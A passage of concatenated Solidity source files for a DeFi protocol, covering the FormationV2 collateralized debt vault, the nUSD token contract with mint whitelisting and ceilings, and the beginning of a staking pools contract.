as governance. /// /// This function reverts if the caller is not the new pending governance. function acceptGovernance() external { require(msg.sender == pendingGovernance, "!pendingGovernance"); governance = pendingGovernance; emit GovernanceUpdated(pendingGovernance); } /// This function reverts if the caller is not governance /// /// @param _toWhitelist the account to mint tokens to. /// @param _state the whitelist state. function setWhitelist(address _toWhitelist, bool _state) external onlyGov { whiteList[_toWhitelist] = _state; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {Math} from "@openzeppelin/contracts/math/Math.sol"; import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {CDP} from "./libraries/formation/CDP.sol"; import {FixedPointMath} from "./libraries/FixedPointMath.sol"; import {ITransmuter} from "./interfaces/ITransmuter.sol"; import {IMintableERC20} from "./interfaces/IMintableERC20.sol"; import {IChainlink} from "./interfaces/IChainlink.sol"; import {IVaultAdapterV2} from "./interfaces/IVaultAdapterV2.sol"; import {VaultV2} from "./libraries/formation/VaultV2.sol"; contract FormationV2 is ReentrancyGuard { using CDP for CDP.Data; using FixedPointMath for FixedPointMath.uq192x64; using VaultV2 for VaultV2.Data; using VaultV2 for VaultV2.List; using SafeERC20 for IMintableERC20; using SafeMath for uint256; using Address for address; address public constant ZERO_ADDRESS = address(0); /// @dev Resolution for all fixed point numeric parameters which represent percents. The resolution allows for a /// granularity of 0.01% increments. uint256 public constant PERCENT_RESOLUTION = 10000; /// @dev The minimum value that the collateralization limit can be set to by the governance. This is a safety rail /// to prevent the collateralization from being set to a value which breaks the system. /// /// This value is equal to 100%. /// /// IMPORTANT: This constant is a raw FixedPointMath.uq192x64 value and assumes a resolution of 64 bits. If the /// resolution for the FixedPointMath library changes this constant must change as well. uint256 public constant MINIMUM_COLLATERALIZATION_LIMIT = 1000000000000000000; /// @dev The maximum value that the collateralization limit can be set to by the governance. This is a safety rail /// to prevent the collateralization from being set to a value which breaks the system. /// /// This value is equal to 400%. /// /// IMPORTANT: This constant is a raw FixedPointMath.uq192x64 value and assumes a resolution of 64 bits. If the /// resolution for the FixedPointMath library changes this constant must change as well. uint256 public constant MAXIMUM_COLLATERALIZATION_LIMIT = 4000000000000000000; event GovernanceUpdated(address governance); event PendingGovernanceUpdated(address pendingGovernance); event SentinelUpdated(address sentinel); event TransmuterUpdated(address transmuter); event RewardsUpdated(address treasury); event HarvestFeeUpdated(uint256 fee); event CollateralizationLimitUpdated(uint256 limit); event EmergencyExitUpdated(bool status); event ActiveVaultUpdated(IVaultAdapterV2 indexed adapter); event FundsHarvested(uint256 withdrawnAmount, uint256 decreasedValue); event FundsRecalled(uint256 indexed vaultId, uint256 withdrawnAmount, uint256 decreasedValue); event FundsFlushed(uint256 amount); event TokensDeposited(address indexed account, uint256 amount); event TokensWithdrawn(address indexed account, uint256 requestedAmount, uint256 withdrawnAmount, uint256 decreasedValue); event TokensRepaid(address indexed account, uint256 parentAmount, uint256 childAmount); event TokensLiquidated(address indexed account, uint256 requestedAmount, uint256 withdrawnAmount, uint256 decreasedValue); /// @dev The token that this contract is using as the parent asset. IMintableERC20 public token; /// @dev The token that this contract is using as the child asset. IMintableERC20 public xtoken; /// @dev The address of the account which currently has administrative capabilities over this contract. address public governance; /// @dev The address of the pending governance. address public pendingGovernance; /// @dev The address of the account which can initiate an emergency withdraw of funds in a vault. address public sentinel; /// @dev The address of the contract which will transmute synthetic tokens back into native tokens. address public transmuter; /// @dev The address of the contract which will receive fees. address public rewards; /// @dev The percent of each profitable harvest that will go to the rewards contract. uint256 public harvestFee; /// @dev The total amount the native token deposited into the system that is owned by external users. uint256 public totalDeposited; /// @dev when movements are bigger than this number flush is activated. uint256 public flushActivator; /// @dev A flag indicating if the contract has been initialized yet. bool public initialized; /// @dev A flag indicating if deposits and flushes should be halted and if all parties should be able to recall /// from the active vault. bool public emergencyExit; /// @dev The context shared between the CDPs. CDP.Context private _ctx; /// @dev A mapping of all of the user CDPs. If a user wishes to have multiple CDPs they will have to either /// create a new address or set up a proxy contract that interfaces with this contract. mapping(address => CDP.Data) private _cdps; /// @dev A list of all of the vaults. The last element of the list is the vault that is currently being used for /// deposits and withdraws. Vaults before the last element are considered inactive and are expected to be cleared. VaultV2.List private _vaults; /// @dev The address of the link oracle. address public _linkGasOracle; /// @dev The minimum returned amount needed to be on peg according to the oracle. uint256 public pegMinimum; /// @dev The maximum update time of oracle (seconds) uint256 public oracleUpdateDelay; /// @dev A mapping of adapter addresses to keep track of vault adapters that have already been added mapping(IVaultAdapterV2 => bool) public adapters; /// @dev The const number (10^n) to align the decimals in this system /// Eg. USDT(6 decimals), so the const number should be 10^(18 - 6) to make the number in this system 18 decimals uint256 public USDT_CONST; constructor( IMintableERC20 _token, IMintableERC20 _xtoken, address _governance, address _sentinel, uint256 _flushActivator ) public { require(address(_token) != ZERO_ADDRESS, "Formation: token address cannot be 0x0."); require(address(_xtoken) != ZERO_ADDRESS, "Formation: xtoken address cannot be 0x0."); require(_governance != ZERO_ADDRESS, "Formation: governance address cannot be 0x0."); require(_sentinel != ZERO_ADDRESS, "Formation: sentinel address cannot be 0x0."); require(_flushActivator > 0, "Formation: flushActivator should be larger than 0"); require(_token.decimals() <= _xtoken.decimals(), "Formation: xtoken decimals should be larger than token decimals"); token = _token; xtoken = _xtoken; governance = _governance; sentinel = _sentinel; flushActivator = _flushActivator; // Recommend(if the token decimals is 18): 100000 ether USDT_CONST = uint256(10)**(uint256(_xtoken.decimals()).sub(uint256(_token.decimals()))); uint256 COLL_LIMIT = MINIMUM_COLLATERALIZATION_LIMIT.mul(2); _ctx.collateralizationLimit = FixedPointMath.uq192x64(COLL_LIMIT); _ctx.accumulatedYieldWeight = FixedPointMath.uq192x64(0); } /// @dev Sets the pending governance. /// /// This function reverts if the new pending governance is the zero address or the caller is not the current /// governance. This is to prevent the contract governance being set to the zero address which would deadlock /// privileged contract functionality. /// /// @param _pendingGovernance the new pending governance. function setPendingGovernance(address _pendingGovernance) external onlyGov { require(_pendingGovernance != ZERO_ADDRESS, "Formation: governance address cannot be 0x0."); pendingGovernance = _pendingGovernance; emit PendingGovernanceUpdated(_pendingGovernance); } /// @dev Accepts the role as governance. /// /// This function reverts if the caller is not the new pending governance. function acceptGovernance() external { require(msg.sender == pendingGovernance, "sender is not pendingGovernance"); governance = pendingGovernance; emit GovernanceUpdated(pendingGovernance); } function setSentinel(address _sentinel) external onlyGov { require(_sentinel != ZERO_ADDRESS, "Formation: sentinel address cannot be 0x0."); sentinel = _sentinel; emit SentinelUpdated(_sentinel); } /// @dev Sets the transmuter. /// /// This function reverts if the new transmuter is the zero address or the caller is not the current governance. /// /// @param _transmuter the new transmuter. function setTransmuter(address _transmuter) external onlyGov { // Check that the transmuter address is not the zero address. Setting the transmuter to the zero address would break // transfers to the address because of `safeTransfer` checks. require(_transmuter != ZERO_ADDRESS, "Formation: transmuter address cannot be 0x0."); transmuter = _transmuter; emit TransmuterUpdated(_transmuter); } /// @dev Sets the flushActivator. /// /// @param _flushActivator the new flushActivator. function setFlushActivator(uint256 _flushActivator) external onlyGov { flushActivator = _flushActivator; } /// @dev Sets the rewards contract. /// /// This function reverts if the new rewards contract is the zero address or the caller is not the current governance. /// /// @param _rewards the new rewards contract. function setRewards(address _rewards) external onlyGov { // Check that the rewards address is not the zero address. Setting the rewards to the zero address would break // transfers to the address because of `safeTransfer` checks. require(_rewards != ZERO_ADDRESS, "Formation: rewards address cannot be 0x0."); rewards = _rewards; emit RewardsUpdated(_rewards); } /// @dev Sets the harvest fee. /// /// This function reverts if the caller is not the current governance. /// /// @param _harvestFee the new harvest fee. function setHarvestFee(uint256 _harvestFee) external onlyGov { // Check that the harvest fee is within the acceptable range. Setting the harvest fee greater than 100% could // potentially break internal logic when calculating the harvest fee. require(_harvestFee <= PERCENT_RESOLUTION, "Formation: harvest fee above maximum."); harvestFee = _harvestFee; emit HarvestFeeUpdated(_harvestFee); } /// @dev Sets the collateralization limit. /// /// This function reverts if the caller is not the current governance or if the collateralization limit is outside /// of the accepted bounds. /// /// @param _limit the new collateralization limit. function setCollateralizationLimit(uint256 _limit) external onlyGov { require(_limit >= MINIMUM_COLLATERALIZATION_LIMIT, "Formation: collateralization limit below minimum."); require(_limit <= MAXIMUM_COLLATERALIZATION_LIMIT, "Formation: collateralization limit above maximum."); _ctx.collateralizationLimit = FixedPointMath.uq192x64(_limit); emit CollateralizationLimitUpdated(_limit); } /// @dev Set oracle. function setOracleAddress( address Oracle, uint256 peg, uint256 delay ) external onlyGov { _linkGasOracle = Oracle; pegMinimum = peg; oracleUpdateDelay = delay; } /// @dev Sets if the contract should enter emergency exit mode. /// /// @param _emergencyExit if the contract should enter emergency exit mode. function setEmergencyExit(bool _emergencyExit) external { require(msg.sender == governance || msg.sender == sentinel, "Formation: sender should be governance or sentinel"); emergencyExit = _emergencyExit; emit EmergencyExitUpdated(_emergencyExit); } /// @dev Gets the collateralization limit. /// /// The collateralization limit is the minimum ratio of collateral to debt that is allowed by the system. /// /// @return the collateralization limit. function collateralizationLimit() external view returns (FixedPointMath.uq192x64 memory) { return _ctx.collateralizationLimit; } /// @dev Initializes the contract. /// /// This function checks that the transmuter and rewards have been set and sets up the active vault. /// /// @param _adapter the vault adapter of the active vault. function initialize(IVaultAdapterV2 _adapter) external onlyGov { require(!initialized, "Formation: already initialized"); require(transmuter != ZERO_ADDRESS, "Formation: cannot initialize transmuter address to 0x0"); require(rewards != ZERO_ADDRESS, "Formation: cannot initialize rewards address to 0x0"); _updateActiveVault(_adapter); initialized = true; } /// @dev Migrates the system to a new vault. /// /// This function reverts if the vault adapter is the zero address, if the token that the vault adapter accepts /// is not the token that this contract defines as the parent asset, or if the contract has not yet been initialized. /// /// @param _adapter the adapter for the vault the system will migrate to. function migrate(IVaultAdapterV2 _adapter) external expectInitialized onlyGov { _updateActiveVault(_adapter); } /// @dev Harvests yield from a vault. /// /// @param _vaultId the identifier of the vault to harvest from. /// /// @return the amount of funds that were harvested from the vault. function harvest(uint256 _vaultId) external expectInitialized returns (uint256, uint256) { VaultV2.Data storage _vault = _vaults.get(_vaultId); (uint256 _harvestedAmount, uint256 _decreasedValue) = _vault.harvest(address(this)); if (_harvestedAmount > 0) { uint256 _feeAmount = _harvestedAmount.mul(harvestFee).div(PERCENT_RESOLUTION); uint256 _distributeAmount = _harvestedAmount.sub(_feeAmount); FixedPointMath.uq192x64 memory _weight = FixedPointMath.fromU256(_distributeAmount).div(totalDeposited); _ctx.accumulatedYieldWeight = _ctx.accumulatedYieldWeight.add(_weight); if (_feeAmount > 0) { token.safeTransfer(rewards, _feeAmount); } if (_distributeAmount > 0) { _distributeToTransmuter(_distributeAmount); } } emit FundsHarvested(_harvestedAmount, _decreasedValue); return (_harvestedAmount, _decreasedValue); } /// @dev Recalls an amount of deposited funds from a vault to this contract. /// /// @param _vaultId the identifier of the recall funds from. /// /// @return the amount of funds that were recalled from the vault to this contract and the decreased vault value. function recall(uint256 _vaultId, uint256 _amount) external nonReentrant expectInitialized returns (uint256, uint256) { return _recallFunds(_vaultId, _amount); } /// @dev Flushes buffered tokens to the active vault. /// /// This function reverts if an emergency exit is active. This is in place to prevent the potential loss of /// additional funds. /// /// @return the amount of tokens flushed to the active vault. function flush() external nonReentrant expectInitialized returns (uint256) { return flushActiveVault(); } /// @dev Internal function to flush buffered tokens to the active vault. /// /// This function reverts if an emergency exit is active. This is in place to prevent the potential loss of /// additional funds. /// /// @return the amount of tokens flushed to the active vault. function flushActiveVault() internal returns (uint256) { // Prevent flushing to the active vault when an emergency exit is enabled to prevent potential loss of funds if // the active vault is poisoned for any reason. require(!emergencyExit, "emergency pause enabled"); VaultV2.Data storage _activeVault = _vaults.last(); uint256 _depositedAmount = _activeVault.depositAll(); emit FundsFlushed(_depositedAmount); return _depositedAmount; } /// @dev Deposits collateral into a CDP. /// /// This function reverts if an emergency exit is active. This is in place to prevent the potential loss of /// additional funds. /// /// @param _amount the amount of collateral to deposit. function deposit(uint256 _amount) external nonReentrant noContractAllowed expectInitialized { require(_amount > 0, "amount is zero"); uint256 amount_USDT = _amount.mul(USDT_CONST); require(!emergencyExit, "emergency pause enabled"); CDP.Data storage _cdp = _cdps[msg.sender]; _cdp.update(_ctx); token.safeTransferFrom(msg.sender, address(this), _amount); if (amount_USDT >= flushActivator) { flushActiveVault(); } totalDeposited = totalDeposited.add(_amount); _cdp.totalDeposited = _cdp.totalDeposited.add(amount_USDT); _cdp.lastDeposit = block.number; emit TokensDeposited(msg.sender, _amount); } /// @dev Attempts to withdraw part of a CDP's collateral. /// /// This function reverts if a deposit into the CDP was made in the same block. This is to prevent flash loan attacks /// on other internal or external systems. /// /// @param _amount the amount of collateral to withdraw. function withdraw(uint256 _amount) external nonReentrant noContractAllowed expectInitialized returns (uint256, uint256) { require(_amount > 0, "amount is zero"); CDP.Data storage _cdp = _cdps[msg.sender]; require(block.number > _cdp.lastDeposit, ""); _cdp.update(_ctx); (uint256 _withdrawnAmount, uint256 _decreasedValue) = _withdrawFundsTo(msg.sender, _amount); _cdp.totalDeposited = _cdp.totalDeposited.sub(_decreasedValue.mul(USDT_CONST), "Exceeds withdrawable amount"); _cdp.checkHealth(_ctx, "Action blocked: unhealthy collateralization ratio"); emit TokensWithdrawn(msg.sender, _amount, _withdrawnAmount, _decreasedValue); return (_withdrawnAmount, _decreasedValue); } /// @dev Repays debt with the native and or synthetic token. /// /// An approval is required to transfer native tokens to the transmuter. function repay(uint256 _parentAmount, uint256 _childAmount) external nonReentrant noContractAllowed onLinkCheck expectInitialized { CDP.Data storage _cdp = _cdps[msg.sender]; _cdp.update(_ctx); uint256 _parentAmount_USDT = 0; if (_parentAmount > 0) { token.safeTransferFrom(msg.sender, address(this), _parentAmount); _distributeToTransmuter(_parentAmount); _parentAmount_USDT = _parentAmount.mul(USDT_CONST); } if (_childAmount > 0) { xtoken.burnFrom(msg.sender, _childAmount); //lower debt cause burn xtoken.lowerHasMinted(_childAmount); } uint256 _totalAmount = _parentAmount_USDT.add(_childAmount); _cdp.totalDebt = _cdp.totalDebt.sub(_totalAmount, ""); emit TokensRepaid(msg.sender, _parentAmount, _childAmount); } /// @dev Attempts to liquidate part of a CDP's collateral to pay back its debt. /// /// @param _amount the amount of collateral to attempt to liquidate. /// /// @return the liquidation amount and the reduced net worth of the vault, the decimal is based on the deposited token function liquidate(uint256 _amount) external nonReentrant noContractAllowed onLinkCheck expectInitialized returns (uint256, uint256) { require(_amount > 0, "amount is zero"); CDP.Data storage _cdp = _cdps[msg.sender]; _cdp.update(_ctx); // don't attempt to liquidate more than is possible if (_amount > _cdp.totalDebt) { _amount = _cdp.totalDebt; } (uint256 _withdrawnAmount, uint256 _decreasedValue) = _withdrawFundsTo(address(this), _amount.div(USDT_CONST)); //changed to new transmuter compatibillity _distributeToTransmuter(_withdrawnAmount); _cdp.totalDeposited = _cdp.totalDeposited.sub(_decreasedValue.mul(USDT_CONST), ""); _cdp.totalDebt = _cdp.totalDebt.sub(_withdrawnAmount.mul(USDT_CONST), ""); emit TokensLiquidated(msg.sender, _amount, _withdrawnAmount, _decreasedValue); return (_withdrawnAmount, _decreasedValue); } /// @dev Mints synthetic tokens by either claiming credit or increasing the debt. /// /// Claiming credit will take priority over increasing the debt. /// /// This function reverts if the debt is increased and the CDP health check fails. /// /// @param _amount the amount of formation tokens to borrow. function mint(uint256 _amount) external nonReentrant noContractAllowed onLinkCheck expectInitialized { require(_amount > 0, "amount is zero"); CDP.Data storage _cdp = _cdps[msg.sender]; _cdp.update(_ctx); uint256 _totalCredit = _cdp.totalCredit; if (_totalCredit < _amount) { uint256 _remainingAmount = _amount.sub(_totalCredit); _cdp.totalDebt = _cdp.totalDebt.add(_remainingAmount); _cdp.totalCredit = 0; _cdp.checkHealth(_ctx, "Formation: Loan-to-value ratio breached"); } else { _cdp.totalCredit = _totalCredit.sub(_amount); } xtoken.mint(msg.sender, _amount); } /// @dev Gets the number of vaults in the vault list. /// /// @return the vault count. function vaultCount() external view returns (uint256) { return _vaults.length(); } /// @dev Get the adapter of a vault. /// /// @param _vaultId the identifier of the vault. /// /// @return the vault adapter. function getVaultAdapter(uint256 _vaultId) external view returns (IVaultAdapterV2) { VaultV2.Data storage _vault = _vaults.get(_vaultId); return _vault.adapter; } /// @dev Get the total amount of the parent asset that has been deposited into a vault. /// /// @param _vaultId the identifier of the vault. /// /// @return the total amount of deposited tokens. function getVaultTotalDeposited(uint256 _vaultId) external view returns (uint256) { VaultV2.Data storage _vault = _vaults.get(_vaultId); return _vault.totalDeposited; } /// @dev Get the total amount of collateral deposited into a CDP. /// /// @param _account the user account of the CDP to query. /// /// @return the deposited amount of tokens. function getCdpTotalDeposited(address _account) external view returns (uint256) { CDP.Data storage _cdp = _cdps[_account]; return _cdp.totalDeposited.div(USDT_CONST); } /// @dev Get the total amount of formation tokens borrowed from a CDP. /// /// @param _account the user account of the CDP to query. /// /// @return the borrowed amount of tokens. function getCdpTotalDebt(address _account) external view returns (uint256) { CDP.Data storage _cdp = _cdps[_account]; return _cdp.getUpdatedTotalDebt(_ctx); } /// @dev Get the total amount of credit that a CDP has. /// /// @param _account the user account of the CDP to query. /// /// @return the amount of credit. function getCdpTotalCredit(address _account) external view returns (uint256) { CDP.Data storage _cdp = _cdps[_account]; return _cdp.getUpdatedTotalCredit(_ctx); } /// @dev Gets the last recorded block of when a user made a deposit into their CDP. /// /// @param _account the user account of the CDP to query. /// /// @return the block number of the last deposit. function getCdpLastDeposit(address _account) external view returns (uint256) { CDP.Data storage _cdp = _cdps[_account]; return _cdp.lastDeposit; } /// @dev sends tokens to the transmuter /// /// benefit of great nation of transmuter function _distributeToTransmuter(uint256 amount) internal { require(token.approve(transmuter, amount), "Formation: failed to approve tokens"); ITransmuter(transmuter).distribute(address(this), amount); // lower debt cause of 'burn' xtoken.lowerHasMinted(amount.mul(USDT_CONST)); } /// @dev Checks that parent token is on peg. /// /// This is used over a modifier limit of pegged interactions. modifier onLinkCheck() { if (pegMinimum > 0) { (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound) = IChainlink(_linkGasOracle).latestRoundData(); require(updatedAt > 0, "Round not complete"); require(block.timestamp <= updatedAt.add(oracleUpdateDelay), "Update time exceeded"); require(uint256(answer) > pegMinimum, "off peg limitation"); } _; } /// @dev Checks that caller is an eoa. /// /// This is used to prevent contracts from interacting. modifier noContractAllowed() { require(!address(msg.sender).isContract() && msg.sender == tx.origin, "Sorry we do not accept contract!"); _; } /// @dev Checks that the contract is in an initialized state. /// /// This is used over a modifier to reduce the size of the contract modifier expectInitialized() { require(initialized, "Formation: not initialized."); _; } /// @dev Checks that the current message sender or caller is the governance address. /// /// modifier onlyGov() { require(msg.sender == governance, "Formation: only governance."); _; } /// @dev Updates the active vault. /// /// This function reverts if the vault adapter is the zero address, if the token that the vault adapter accepts /// is not the token that this contract defines as the parent asset, or if the contract has not yet been initialized. /// /// @param _adapter the adapter for the new active vault. function _updateActiveVault(IVaultAdapterV2 _adapter) internal { require(_adapter != IVaultAdapterV2(ZERO_ADDRESS), "Formation: active vault address cannot be 0x0."); require(_adapter.token() == token, "Formation: token mismatch."); require(!adapters[_adapter], "Adapter already in use"); adapters[_adapter] = true; _vaults.push(VaultV2.Data({adapter: _adapter, totalDeposited: 0})); emit ActiveVaultUpdated(_adapter); } /// @dev Recalls an amount of funds from a vault to this contract. /// /// @param _vaultId the identifier of the recall funds from. /// @param _amount the amount of funds to recall from the vault. /// /// @return the amount of funds that were recalled from the vault to this contract and the decreased vault value. function _recallFunds(uint256 _vaultId, uint256 _amount) internal returns (uint256, uint256) { require(emergencyExit || msg.sender == governance || _vaultId != _vaults.lastIndex(), "Formation: not an emergency, not governance, and user does not have permission to recall funds from active vault"); VaultV2.Data storage _vault = _vaults.get(_vaultId); (uint256 _withdrawnAmount, uint256 _decreasedValue) = _vault.withdraw(address(this), _amount); emit FundsRecalled(_vaultId, _withdrawnAmount, _decreasedValue); return (_withdrawnAmount, _decreasedValue); } /// @dev Attempts to withdraw funds from the active vault to the recipient. /// /// Funds will be first withdrawn from this contracts balance and then from the active vault. This function /// is different from `recallFunds` in that it reduces the total amount of deposited tokens by the decreased /// value of the vault. /// /// @param _recipient the account to withdraw the funds to. /// @param _amount the amount of funds to withdraw. function _withdrawFundsTo(address _recipient, uint256 _amount) internal returns (uint256, uint256) { // Pull the funds from the buffer. uint256 _bufferedAmount = Math.min(_amount, token.balanceOf(address(this))); if (_recipient != address(this)) { token.safeTransfer(_recipient, _bufferedAmount); } uint256 _totalWithdrawn = _bufferedAmount; uint256 _totalDecreasedValue = _bufferedAmount; uint256 _remainingAmount = _amount.sub(_bufferedAmount); // Pull the remaining funds from the active vault. if (_remainingAmount > 0) { VaultV2.Data storage _activeVault = _vaults.last(); (uint256 _withdrawAmount, uint256 _decreasedValue) = _activeVault.withdraw(_recipient, _remainingAmount); _totalWithdrawn = _totalWithdrawn.add(_withdrawAmount); _totalDecreasedValue = _totalDecreasedValue.add(_decreasedValue); } totalDeposited = totalDeposited.sub(_totalDecreasedValue); return (_totalWithdrawn, _totalDecreasedValue); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.6.12; import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {IDetailedERC20} from "./interfaces/IDetailedERC20.sol"; /// @title NToken /// /// @dev This is the contract for the NAOS utillity token usd. /// /// Initially, the contract deployer is given both the admin and minter role. This allows them to pre-mine tokens, /// transfer admin to a timelock contract, and lastly, grant the staking pools the minter role. After this is done, /// the deployer must revoke their admin role and minter role. contract NToken is AccessControl, ERC20("NAOS USD", "nUSD") { using SafeERC20 for ERC20; /// @dev The identifier of the role which maintains other roles. bytes32 public constant ADMIN_ROLE = keccak256("ADMIN"); /// @dev The identifier of the role which allows accounts to mint tokens. bytes32 public constant SENTINEL_ROLE = keccak256("SENTINEL"); /// @dev addresses whitelisted for minting new tokens mapping(address => bool) public whiteList; /// @dev addresses blacklisted for minting new tokens mapping(address => bool) public blacklist; /// @dev addresses paused for minting new tokens mapping(address => bool) public paused; /// @dev ceiling per address for minting new tokens mapping(address => uint256) public ceiling; /// @dev already minted amount per address to track the ceiling mapping(address => uint256) public hasMinted; event Paused(address formationAddress, bool isPaused); event WhitelistUpdated(address toWhitelist, bool state); event BlacklistUpdated(address toBlacklist); constructor() public { _setupRole(ADMIN_ROLE, msg.sender); _setupRole(SENTINEL_ROLE, msg.sender); _setRoleAdmin(SENTINEL_ROLE, ADMIN_ROLE); _setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE); } /// @dev A modifier which checks if whitelisted for minting. modifier onlyWhitelisted() { require(whiteList[msg.sender], "NUSD: Formation is not whitelisted"); _; } /// @dev Mints tokens to a recipient. /// /// This function reverts if the caller does not have the minter role. /// /// @param _recipient the account to mint tokens to. /// @param _amount the amount of tokens to mint. function mint(address _recipient, uint256 _amount) external onlyWhitelisted { require(!blacklist[msg.sender], "NUSD: Formation is blacklisted."); uint256 _total = _amount.add(hasMinted[msg.sender]); require(_total <= ceiling[msg.sender], "NUSD: Formation's ceiling was breached."); require(!paused[msg.sender], "NUSD: user is currently paused."); hasMinted[msg.sender] = hasMinted[msg.sender].add(_amount); _mint(_recipient, _amount); } /// This function reverts if the caller does not have the admin role. /// /// @param _toWhitelist the account to mint tokens to. /// @param _state the whitelist state. function setWhitelist(address _toWhitelist, bool _state) external onlyAdmin { whiteList[_toWhitelist] = _state; emit WhitelistUpdated(_toWhitelist, _state); } /// This function reverts if the caller does not have the admin role. /// /// @param _newSentinel the account to set as sentinel. function setSentinel(address _newSentinel) external onlyAdmin { _setupRole(SENTINEL_ROLE, _newSentinel); } /// This function reverts if the caller does not have the admin role. /// /// @param _toBlacklist the account to mint tokens to. function setBlacklist(address _toBlacklist) external onlySentinel { blacklist[_toBlacklist] = true; emit BlacklistUpdated(_toBlacklist); } /// This function reverts if the caller does not have the admin role. function pauseFormation(address _toPause, bool _state) external onlySentinel { paused[_toPause] = _state; Paused(_toPause, _state); } /// This function reverts if the caller does not have the admin role. /// /// @param _toSetCeiling the account set the ceiling off. /// @param _ceiling the max amount of tokens the account is allowed to mint. function setCeiling(address _toSetCeiling, uint256 _ceiling) external onlyAdmin { ceiling[_toSetCeiling] = _ceiling; } /// @dev A modifier which checks that the caller has the admin role. modifier onlyAdmin() { require(hasRole(ADMIN_ROLE, msg.sender), "only admin"); _; } /// @dev A modifier which checks that the caller has the sentinel role. modifier onlySentinel() { require(hasRole(SENTINEL_ROLE, msg.sender), "only sentinel"); _; } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } /** * @dev lowers hasminted from the caller's allocation * */ function lowerHasMinted(uint256 amount) public onlyWhitelisted { hasMinted[msg.sender] = hasMinted[msg.sender].sub(amount); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.6.12; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import {FixedPointMath} from "./libraries/FixedPointMath.sol"; import {IMintableERC20} from "./interfaces/IMintableERC20.sol"; import {Pool} from "./libraries/pools/Pool.sol"; import {Stake} from "./libraries/pools/Stake.sol"; import {StakingPools} from "./StakingPools.sol"; /// @title StakingPools /// @dev A contract which allows users to stake to farm tokens. /// /// This contract was inspired by Chef Nomi's 'MasterChef' contract which can be found in this /// repository: https://github.com/sushiswap/sushiswap. contract StakingPools is ReentrancyGuard { using FixedPointMath for FixedPointMath.uq192x64; using Pool for Pool.Data; using Pool for Pool.List; using SafeERC20 for IERC20; using SafeMath for uint256; using Stake for Stake.Data; event PendingGovernanceUpdated(address pendingGovernance); event GovernanceUpdated(address governance); event RewardRateUpdated(uint256 rewardRate); event PoolRewardWeightUpdated(uint256 indexed poolId, uint256 rewardWeight); event PoolCreated(uint256 indexed poolId, IERC20 indexed token); event TokensDeposited(address indexed user, uint256 indexed poolId, uint256 amount); event TokensWithdrawn(address indexed user, uint256 indexed poolId, uint256 amount); event TokensClaimed(address indexed user, uint256 indexed poolId, uint256 amount); /// @dev The token which will be minted as a reward for staking. IMintableERC20 public reward; /// @dev The address of the account which currently has administrative capabilities over this contract. address public governance; address public pendingGovernance; /// @dev Tokens are mapped to their pool identifier plus one. Tokens that do not have an associated pool /// will return an identifier of zero. mapping(IERC20 => uint256) public tokenPoolIds; /// @dev The context shared between the pools. Pool.Context private _ctx; /// @dev A list of all of the pools. Pool.List private _pools; /// @dev A mapping of all of the user stakes mapped first by pool and then by address. mapping(address => mapping(uint256 => Stake.Data)) private _stakes; constructor(IMintableERC20 _reward, address _governance) public { require(address(_reward) != address(0), "StakingPools: reward address cannot be 0x0"); require(_governance != address(0), "StakingPools: governance address cannot be 0x0"); reward = _reward; governance = _governance; } /// @dev A modifier which reverts when the caller is not the governance. modifier onlyGovernance() { require(msg.sender == governance, "StakingPools: only governance"); _; } /// @dev Sets the governance. /// /// This function can only called by the current governance. /// /// @param _pendingGovernance the new pending governance. function setPendingGovernance(address _pendingGovernance) external onlyGovernance { require(_pendingGovernance != address(0), "StakingPools: pending governance address cannot be 0x0"); pendingGovernance = _pendingGovernance; emit PendingGovernanceUpdated(_pendingGovernance); } function acceptGovernance() external { require(msg.sender == pendingGovernance, "StakingPools: only pending governance"); governance = pendingGovernance; emit GovernanceUpdated(pendingGovernance); } /// @dev Sets the distribution reward rate. /// /// This will update all of the pools. /// /// @param _rewardRate The number of tokens to distribute per second. function setRewardRate(uint256 _rewardRate) external onlyGovernance { _updatePools(); _ctx.rewardRate = _rewardRate; emit RewardRateUpdated(_rewardRate); } /// @dev Creates a new pool. /// /// The created pool will need to have its reward weight initialized before it begins generating rewards. /// /// @param _token The token the pool will accept for staking. /// /// @return the identifier for the newly created pool. function createPool(IERC20 _token) external onlyGovernance returns (uint256) { require(address(_token) != address(0), "StakingPools: token address cannot be 0x0"); require(tokenPoolIds[_token] == 0, "StakingPools: token already has a pool"); uint256 _poolId = _pools.length(); _pools.push(Pool.Data({token: _token, totalDeposited: 0, rewardWeight: 0, accumulatedRewardWeight: FixedPointMath.uq192x64(0), lastUpdatedBlock: block.number})); tokenPoolIds[_token] = _poolId + 1; emit PoolCreated(_poolId, _token); return _poolId; } /// @dev Sets the reward weights of all of the pools. /// /// @param _rewardWeights The reward weights of all of the pools. function setRewardWeights(uint256[] calldata _rewardWeights) external onlyGovernance { require(_rewardWeights.length == _pools.length(), "StakingPools: weights length mismatch"); _updatePools(); uint256 _totalRewardWeight = _ctx.totalRewardWeight; for (uint256 _poolId = 0; _poolId < 